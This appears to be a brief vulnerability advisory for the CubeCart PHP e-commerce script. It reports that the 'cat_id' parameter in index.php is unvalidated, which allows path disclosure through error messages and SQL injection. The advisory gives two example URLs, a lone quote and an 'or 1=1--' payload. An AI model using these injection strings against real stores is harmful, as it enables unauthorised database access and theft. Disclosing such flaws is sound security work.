[1]Introduction

"CubeCart is an eCommerce script written with PHP & MySQL. With CubeCart you can setup a powerful online store as long as you

have hosting supporting PHP and one MySQL database."

This info was taken from http://www.cubecart.com

CubeCart, from Brooky (http://www.brooky.com), is a software formerly known as eStore.


[2]The Problem

A remote user can cause an error in index.php using the parameter 'cat_id' which is not properly validated, displaying the

software's full installation path. It can also be used to inject sql commands. Examples follow:

(a) http://example.com/store/index.php?cat_id='

causes an error like this:

"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

/home/example/public_html/store/link_navi.php on line 35

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in

/home/example/public_html/store/index.php on line 170

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

/home/example/public_html/store/index.php on line 172"


(b) http://example.com/store/index.php?cat_id=1 or 1=1--

displays all categories in the database


[3]The Solution

None at this time. Vendor contacted and fix will be avaliable soon.
